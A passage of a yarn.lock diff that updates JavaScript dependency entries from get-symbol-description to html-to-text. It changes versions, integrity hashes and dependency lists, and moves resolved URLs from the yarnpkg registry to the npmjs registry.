+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee"
+  integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==
   dependencies:
-    call-bind "^1.0.2"
-    get-intrinsic "^1.1.1"
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
 
-get-tsconfig@^4.5.0:
-  version "4.6.0"
-  resolved "https://registry.yarnpkg.com/get-tsconfig/-/get-tsconfig-4.6.0.tgz#e977690993a42f3e320e932427502a40f7af6d05"
-  integrity sha512-lgbo68hHTQnFddybKbbs/RDRJnJT5YyGy2kQzVwbq+g67X73i+5MVTval34QxGkOe9X5Ujf1UYpCaphLyltjEg==
+get-uri@^6.0.1:
+  version "6.0.4"
+  resolved "https://registry.npmjs.org/get-uri/-/get-uri-6.0.4.tgz"
+  integrity sha512-E1b1lFFLvLgak2whF2xDBcOy6NLVGZBqqjJjsIhvopKfWWEi64pLVTWWehV8KlLerZkfNTA95sTe2OdJKm1OzQ==
   dependencies:
-    resolve-pkg-maps "^1.0.0"
+    basic-ftp "^5.0.2"
+    data-uri-to-buffer "^6.0.2"
+    debug "^4.3.4"
 
 glob-parent@^5.1.2, glob-parent@~5.1.2:
   version "5.1.2"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz"
   integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
   dependencies:
     is-glob "^4.0.1"
 
 glob-parent@^6.0.2:
   version "6.0.2"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3"
+  resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz"
   integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
   dependencies:
     is-glob "^4.0.3"
 
-glob-to-regexp@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
-  integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
-
-glob@7.1.6:
-  version "7.1.6"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
-  integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
-glob@7.1.7:
-  version "7.1.7"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
-  integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
-  dependencies:
-    fs.realpath "^1.0.0"
-    inflight "^1.0.4"
-    inherits "2"
-    minimatch "^3.0.4"
-    once "^1.3.0"
-    path-is-absolute "^1.0.0"
-
 glob@^10.3.10:
   version "10.3.10"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-10.3.10.tgz#0351ebb809fd187fe421ab96af83d3a70715df4b"
+  resolved "https://registry.npmjs.org/glob/-/glob-10.3.10.tgz"
   integrity sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g==
   dependencies:
     foreground-child "^3.1.0"
@@ -5568,9 +6190,33 @@ glob@^10.3.10:
     minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
     path-scurry "^1.10.1"
 
+glob@^10.4.5:
+  version "10.4.5"
+  resolved "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz"
+  integrity sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
+
+glob@^11.0.0:
+  version "11.0.1"
+  resolved "https://registry.npmjs.org/glob/-/glob-11.0.1.tgz"
+  integrity sha512-zrQDm8XPnYEKawJScsnM0QzobJxlT/kHOOlRTio8IH/GrmxRE5fjllkzdaHclIuNjUQTJYH2xHNIGfdpJkDJUw==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^4.0.1"
+    minimatch "^10.0.0"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^2.0.0"
+
 glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
   version "7.2.3"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
+  resolved "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz"
   integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
   dependencies:
     fs.realpath "^1.0.0"
@@ -5580,9 +6226,9 @@ glob@^7.1.3, glob@^7.1.4, glob@^7.1.6:
     once "^1.3.0"
     path-is-absolute "^1.0.0"
 
-glob@^8.0.3:
+glob@^8.1.0:
   version "8.1.0"
-  resolved "https://registry.yarnpkg.com/glob/-/glob-8.1.0.tgz#d388f656593ef708ee3e34640fdfb99a9fd1c33e"
+  resolved "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz"
   integrity sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==
   dependencies:
     fs.realpath "^1.0.0"
@@ -5591,35 +6237,54 @@ glob@^8.0.3:
     minimatch "^5.0.1"
     once "^1.3.0"
 
+global-modules@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz"
+  integrity sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==
+  dependencies:
+    global-prefix "^1.0.1"
+    is-windows "^1.0.1"
+    resolve-dir "^1.0.0"
+
+global-prefix@^1.0.1:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz"
+  integrity sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==
+  dependencies:
+    expand-tilde "^2.0.2"
+    homedir-polyfill "^1.0.1"
+    ini "^1.3.4"
+    is-windows "^1.0.1"
+    which "^1.2.14"
+
 globals@^11.1.0:
   version "11.12.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
+  resolved "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz"
   integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
 
-globals@^13.15.0:
-  version "13.23.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-13.23.0.tgz#ef31673c926a0976e1f61dab4dca57e0c0a8af02"
-  integrity sha512-XAmF0RjlrjY23MA51q3HltdlGxUpXPvg0GioKiD9X6HD28iMjo2dKC8Vqwm7lne4GNr78+RHTfliktR6ZH09wA==
-  dependencies:
-    type-fest "^0.20.2"
-
 globals@^13.19.0:
   version "13.20.0"
-  resolved "https://registry.yarnpkg.com/globals/-/globals-13.20.0.tgz#ea276a1e508ffd4f1612888f9d1bad1e2717bf82"
+  resolved "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz"
   integrity sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==
   dependencies:
     type-fest "^0.20.2"
 
-globalthis@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.3.tgz#5852882a52b80dc301b0660273e1ed082f0b6ccf"
-  integrity sha512-sFdI5LyBiNTHjRd7cGPWapiHWMOXKyuBNX/cWJ3NfzrZQVa8GI/8cofCl74AOVqq9W5kNmguTIzJ/1s2gyI9wA==
+globals@^14.0.0:
+  version "14.0.0"
+  resolved "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz"
+  integrity sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==
+
+globalthis@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
   dependencies:
-    define-properties "^1.1.3"
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
 
 globby@^11.1.0:
   version "11.1.0"
-  resolved "https://registry.yarnpkg.com/globby/-/globby-11.1.0.tgz#bd4be98bb042f83d796f7e3811991fbe82a0d34b"
+  resolved "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz"
   integrity sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==
   dependencies:
     array-union "^2.1.0"
@@ -5629,249 +6294,258 @@ globby@^11.1.0:
     merge2 "^1.4.1"
     slash "^3.0.0"
 
-globby@^13.1.3:
-  version "13.1.4"
-  resolved "https://registry.yarnpkg.com/globby/-/globby-13.1.4.tgz#2f91c116066bcec152465ba36e5caa4a13c01317"
-  integrity sha512-iui/IiiW+QrJ1X1hKH5qwlMQyv34wJAYwH1vrf8b9kBA4sNiif3gKsMHa+BrdnOpEudWjpotfa7LrTzB1ERS/g==
-  dependencies:
-    dir-glob "^3.0.1"
-    fast-glob "^3.2.11"
-    ignore "^5.2.0"
-    merge2 "^1.4.1"
-    slash "^4.0.0"
-
-goober@^2.0.33:
-  version "2.1.13"
-  resolved "https://registry.yarnpkg.com/goober/-/goober-2.1.13.tgz#e3c06d5578486212a76c9eba860cbc3232ff6d7c"
-  integrity sha512-jFj3BQeleOoy7t93E9rZ2de+ScC4lQICLwiAQmKMg9F6roKGaLSHoCDYKkWlSafg138jejvq/mTdvmnwDQgqoQ==
-
-gopd@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.0.1.tgz#29ff76de69dac7489b7c0918a5788e56477c332c"
-  integrity sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==
-  dependencies:
-    get-intrinsic "^1.1.3"
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
 
-graceful-fs@^4.1.2, graceful-fs@^4.2.4:
+graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.2.11, graceful-fs@^4.2.4:
   version "4.2.11"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  resolved "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz"
   integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
 
 graceful-fs@^4.2.9:
   version "4.2.10"
-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.10.tgz#147d3a006da4ca3ce14728c7aefc287c367d7a6c"
+  resolved "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz"
   integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==
 
-grapheme-splitter@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz#9cf3a665c6247479896834af35cf1dbb4400767e"
-  integrity sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==
-
 graphemer@^1.4.0:
   version "1.4.0"
-  resolved "https://registry.yarnpkg.com/graphemer/-/graphemer-1.4.0.tgz#fb2f1d55e0e3a1849aeffc90c4fa0dd53a0e66c6"
+  resolved "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz"
   integrity sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==
 
-has-bigints@^1.0.1, has-bigints@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.0.2.tgz#0871bd3e3d51626f6ca0966668ba35d5602d6eaa"
-  integrity sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==
+has-bigints@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.1.0.tgz#28607e965ac967e03cd2a2c70a2636a1edad49fe"
+  integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==
 
 has-flag@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+  resolved "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz"
   integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
 
 has-flag@^4.0.0:
   version "4.0.0"
-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz"
   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
 
-has-property-descriptors@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz#610708600606d36961ed04c196193b6a607fa861"
-  integrity sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
   dependencies:
-    get-intrinsic "^1.1.1"
+    es-define-property "^1.0.0"
 
-has-proto@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.1.tgz#1885c1305538958aff469fef37937c22795408e0"
-  integrity sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
 
-has-symbols@^1.0.2, has-symbols@^1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8"
-  integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
+has-symbols@^1.0.3, has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
 
-has-tostringtag@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.0.tgz#7e133818a7d394734f941e73c3d3f9291e658b25"
-  integrity sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==
+has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
   dependencies:
-    has-symbols "^1.0.2"
+    has-symbols "^1.0.3"
 
 has@^1.0.3:
   version "1.0.3"
-  resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
+  resolved "https://registry.npmjs.org/has/-/has-1.0.3.tgz"
   integrity sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==
   dependencies:
     function-bind "^1.1.1"
 
-hasown@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.0.tgz#f4c513d454a57b7c7e1650778de226b11700546c"
-  integrity sha512-vUptKVTpIJhcczKBbgnS+RtcuYMB8+oNzPK2/Hp3hanz8JmpATdmmgLgSaadVREkDm+e2giHwY3ZRkyjSIDDFA==
+hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
   dependencies:
     function-bind "^1.1.2"
 
+he@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/he/-/he-1.2.0.tgz"
+  integrity sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==
+
 "heap@>= 0.2.0":
   version "0.2.7"
-  resolved "https://registry.yarnpkg.com/heap/-/heap-0.2.7.tgz#1e6adf711d3f27ce35a81fe3b7bd576c2260a8fc"
+  resolved "https://registry.npmjs.org/heap/-/heap-0.2.7.tgz"
   integrity sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==
 
-hermes-eslint@^0.14.0:
-  version "0.14.0"
-  resolved "https://registry.yarnpkg.com/hermes-eslint/-/hermes-eslint-0.14.0.tgz#d56426b0931a7ced99d08b4b6a06f798064b13ba"
-  integrity sha512-ORk7znDabvALzTbI3QRIQefCkxF1ukDm3dVut3e+cVmwdtsTC71BJetSvdh1jtgK10czwck1QiPZOVOVolhiqQ==
+hermes-eslint@^0.25.1:
+  version "0.25.1"
+  resolved "https://registry.npmjs.org/hermes-eslint/-/hermes-eslint-0.25.1.tgz"
+  integrity sha512-nPz9+oyejT1zsIwoJ2pWdUvLcN1i+tbaWCOD8PpNBYQtnHXaPXImZp/6zZHnm3bo/DoFcAgh8+SNcxLFxh7m/A==
   dependencies:
     esrecurse "^4.3.0"
-    hermes-estree "0.14.0"
-    hermes-parser "0.14.0"
-
-hermes-eslint@^0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/hermes-eslint/-/hermes-eslint-0.17.1.tgz#e5e43091082dc53a060e0b002324e68943104b71"
-  integrity sha512-g3z4L84pHKrBMRtbfifalpbNbNear0cEygAe+geCmCj1GUrqQu+RDeBZOYERHv0HOq0aDxjTZhj3m4fD/YVUwg==
-  dependencies:
-    esrecurse "^4.3.0"
-    hermes-estree "0.17.1"
-    hermes-parser "0.17.1"
-
-hermes-estree@0.14.0:
-  version "0.14.0"
-  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.14.0.tgz#c663eea1400980802283338a09d0087c448729e7"
-  integrity sha512-L6M67+0/eSEbt6Ha2XOBFXL++7MR34EOJMgm+j7YCaI4L/jZqrVAg6zYQKzbs1ZCFDLvEQpOgLlapTX4gpFriA==
+    hermes-estree "0.25.1"
+    hermes-parser "0.25.1"
 
-hermes-estree@0.15.1:
-  version "0.15.1"
-  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.15.1.tgz#d06d4ddf87e91857b0130a083a9d7696d7aec61f"
-  integrity sha512-XrQH+GATG/8DYbzlrVs6Vf/EDxLhYEHXvzt/Xve4b/NXXpsNLDN8bdBEKp5z0XeOMoL1XMEexxIIf1a5bH6kYA==
+hermes-estree@0.25.1:
+  version "0.25.1"
+  resolved "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz"
+  integrity sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==
 
-hermes-estree@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.17.1.tgz#902806a900c185720424ffcf958027821d23c051"
-  integrity sha512-EdUJms+eRE40OQxysFlPr1mPpvUbbMi7uDAKlScBw8o3tQY22BZ5yx56OYyp1bVaBm+7Cjc3NQz24sJEFXkPxg==
+hermes-estree@0.26.0:
+  version "0.26.0"
+  resolved "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.26.0.tgz"
+  integrity sha512-If1T7lhfXnGlVLbnsmwerNB5cyJm2oIE8TN1UKEq6/OUX1nOGUhjXMpqAwZ1wkkn9Brda0VRyJEWOGT2GgVcAQ==
 
-hermes-estree@0.19.2:
-  version "0.19.2"
-  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.19.2.tgz#b35f59c7fa184ac63a049a9ad37b370c5151bd20"
-  integrity sha512-dMDmDgaW9LXQxGOQ+gsAZUlXiPXkHvUrpKESCPhkm3pH0SjHy5uaBaT8psxmPol1EBh8GVM2lGC/W0bhuW/fpQ==
-
-hermes-estree@0.20.1:
-  version "0.20.1"
-  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.20.1.tgz#0b9a544cf883a779a8e1444b915fa365bef7f72d"
-  integrity sha512-SQpZK4BzR48kuOg0v4pb3EAGNclzIlqMj3Opu/mu7bbAoFw6oig6cEt/RAi0zTFW/iW6Iz9X9ggGuZTAZ/yZHg==
-
-hermes-parser@0.14.0:
-  version "0.14.0"
-  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.14.0.tgz#edb2e7172fce996d2c8bbba250d140b70cc1aaaf"
-  integrity sha512-pt+8uRiJhVlErY3fiXB3gKhZ72RxM6E1xRMpvfZ5n6Z5TQKQQXKorgRCRzoe02mmvLKBJFP5nPDGv75MWAgCTw==
-  dependencies:
-    hermes-estree "0.14.0"
-
-hermes-parser@0.15.1:
-  version "0.15.1"
-  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.15.1.tgz#f02587be85228b22841d50f6839ae42a308e5100"
-  integrity sha512-38Re105dr4UZ0/EPRApWxtIOWWynQpdOYWO+7nFO8ADd2mXdaHKMCFAxIjkqACa1GLrAtrXqqaJdUYHi/QUbkA==
+hermes-parser@0.25.1, hermes-parser@^0.25.1:
+  version "0.25.1"
+  resolved "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz"
+  integrity sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==
   dependencies:
-    hermes-estree "0.15.1"
+    hermes-estree "0.25.1"
 
-hermes-parser@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.17.1.tgz#8b5cbaff235fed28487812ad718f9c7182d0db0f"
-  integrity sha512-yErtFLMEL6490fFJPurNn23OI2ciGAtaUfKUg9VPdcde9CmItCjOVQkJt1Xzawv5kuRzeIx0RE2E2Q9TbIgdzA==
+hermes-parser@0.26.0:
+  version "0.26.0"
+  resolved "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.26.0.tgz"
+  integrity sha512-fWT40jJ/BtlzuyiiQS7lzNIlB5h6flVZoN8Jn8v5l987HL5dK9s+/4+py0FaBmeIEROC2zxt5qMLwXFTPLQ7BA==
   dependencies:
-    hermes-estree "0.17.1"
+    hermes-estree "0.26.0"
 
-hermes-parser@^0.19.1:
-  version "0.19.2"
-  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.19.2.tgz#67b0fd92f4d7a374234f58c4f980f816734a7695"
-  integrity sha512-FxPcupAYzTks42tx8c29UGW59BbZQ67aKKS4jFi0eiD8Q3US3O8raxfNx0yi0ha0dTCq1WXK2MlJv+RCjkVp3Q==
-  dependencies:
-    hermes-estree "0.19.2"
-
-hermes-parser@^0.20.1:
-  version "0.20.1"
-  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.20.1.tgz#ad10597b99f718b91e283f81cbe636c50c3cff92"
-  integrity sha512-BL5P83cwCogI8D7rrDCgsFY0tdYUtmFP9XaXtl2IQjC+2Xo+4okjfXintlTxcIwl4qeGddEl28Z11kbVIw0aNA==
+homedir-polyfill@^1.0.1:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz"
+  integrity sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==
   dependencies:
-    hermes-estree "0.20.1"
+    parse-passwd "^1.0.0"
 
 html-encoding-sniffer@^3.0.0:
   version "3.0.0"
-  resolved "https://registry.yarnpkg.com/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz#2cb1a8cf0db52414776e5b2a7a04d5dd98158de9"
+  resolved "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz"
   integrity sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==
   dependencies:
     whatwg-encoding "^2.0.0"
 
 html-escaper@^2.0.0:
   version "2.0.2"
-  resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453"
+  resolved "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz"
   integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==
 
+html-to-text@^9.0.5:
